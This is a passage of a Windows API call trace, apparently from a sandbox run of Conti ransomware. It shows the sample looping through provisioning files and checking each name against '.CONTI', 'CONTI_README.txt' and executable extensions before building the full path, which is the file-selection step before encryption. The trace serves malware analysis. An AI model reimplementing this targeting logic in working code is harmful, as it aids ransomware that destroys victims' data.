	[0109.564] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.564] lstrlenW (lpString="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0109.564] GetProcessHeap () returned 0x1720000
	[0109.564] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x180a6b8
	[0109.564] lstrcpyW (in: lpString1=0x180a6b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.564] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.564] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.564] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911c7ac2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911c7ac2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911c7ac2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="496__C~1.PRO")) returned 1
	[0109.564] lstrcmpiW (lpString1="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.564] lstrcmpiW (lpString1="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.564] StrStrIW (lpFirst="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.564] StrStrIW (lpFirst="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.564] StrStrIW (lpFirst="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.564] StrStrIW (lpFirst="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.564] StrStrIW (lpFirst="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.564] StrStrIW (lpFirst="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.564] StrStrIW (lpFirst="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.564] StrStrIW (lpFirst="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.564] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.564] lstrlenW (lpString="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml") returned 88
	[0109.565] GetProcessHeap () returned 0x1720000
	[0109.565] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x166) returned 0x17de588
	[0109.565] lstrcpyW (in: lpString1=0x17de588, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.565] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.565] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml"
	[0109.565] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911c7ac2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911c7ac2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911c7ac2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="497__C~1.PRO")) returned 1
	[0109.565] lstrcmpiW (lpString1="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.565] lstrcmpiW (lpString1="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.565] StrStrIW (lpFirst="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.565] StrStrIW (lpFirst="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.565] StrStrIW (lpFirst="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.565] StrStrIW (lpFirst="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.565] StrStrIW (lpFirst="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.565] StrStrIW (lpFirst="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.565] StrStrIW (lpFirst="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.565] StrStrIW (lpFirst="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.565] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.565] lstrlenW (lpString="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml") returned 83
	[0109.565] GetProcessHeap () returned 0x1720000
	[0109.565] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15c) returned 0x6575650
	[0109.565] lstrcpyW (in: lpString1=0x6575650, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.565] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.565] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml"
	[0109.565] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911edd2d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911edd2d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911edd2d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="498__C~1.PRO")) returned 1
	[0109.565] lstrcmpiW (lpString1="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.565] lstrcmpiW (lpString1="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.565] StrStrIW (lpFirst="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.565] StrStrIW (lpFirst="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.565] StrStrIW (lpFirst="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.565] StrStrIW (lpFirst="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.565] StrStrIW (lpFirst="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.566] StrStrIW (lpFirst="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.566] StrStrIW (lpFirst="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.566] StrStrIW (lpFirst="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.566] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.566] lstrlenW (lpString="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml") returned 93
	[0109.566] GetProcessHeap () returned 0x1720000
	[0109.566] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x170) returned 0x65757b8
	[0109.566] lstrcpyW (in: lpString1=0x65757b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.566] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.566] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml"
	[0109.566] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911edd2d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911edd2d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911edd2d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="499__C~1.PRO")) returned 1
	[0109.568] lstrcmpiW (lpString1="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.568] lstrcmpiW (lpString1="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.568] StrStrIW (lpFirst="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.568] StrStrIW (lpFirst="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.568] StrStrIW (lpFirst="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.568] StrStrIW (lpFirst="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.568] StrStrIW (lpFirst="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.568] StrStrIW (lpFirst="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.568] StrStrIW (lpFirst="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.568] StrStrIW (lpFirst="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.568] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.568] lstrlenW (lpString="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml") returned 87
	[0109.568] GetProcessHeap () returned 0x1720000
	[0109.568] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x164) returned 0x17dece0
	[0109.568] lstrcpyW (in: lpString1=0x17dece0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.569] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.569] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml"
	[0109.569] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="49__CE~1.PRO")) returned 1
	[0109.569] lstrcmpiW (lpString1="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.569] lstrcmpiW (lpString1="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.569] StrStrIW (lpFirst="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.569] StrStrIW (lpFirst="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.569] StrStrIW (lpFirst="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.569] StrStrIW (lpFirst="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.569] StrStrIW (lpFirst="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.569] StrStrIW (lpFirst="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.569] StrStrIW (lpFirst="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.569] StrStrIW (lpFirst="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.569] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.569] lstrlenW (lpString="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 52
	[0109.569] GetProcessHeap () returned 0x1720000
	[0109.569] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x11e) returned 0x6b811b0
	[0109.569] lstrcpyW (in: lpString1=0x6b811b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.569] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.569] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.569] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f0949, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900f0949, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900f0949, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="4__CON~1.PRO")) returned 1
	[0109.569] lstrcmpiW (lpString1="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.569] lstrcmpiW (lpString1="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.569] StrStrIW (lpFirst="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.569] StrStrIW (lpFirst="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.569] StrStrIW (lpFirst="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.569] StrStrIW (lpFirst="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.569] StrStrIW (lpFirst="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.569] StrStrIW (lpFirst="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.569] StrStrIW (lpFirst="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.569] StrStrIW (lpFirst="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.570] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.570] lstrlenW (lpString="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.570] GetProcessHeap () returned 0x1720000
	[0109.570] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x1809f08
	[0109.570] lstrcpyW (in: lpString1=0x1809f08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.570] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.570] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml"
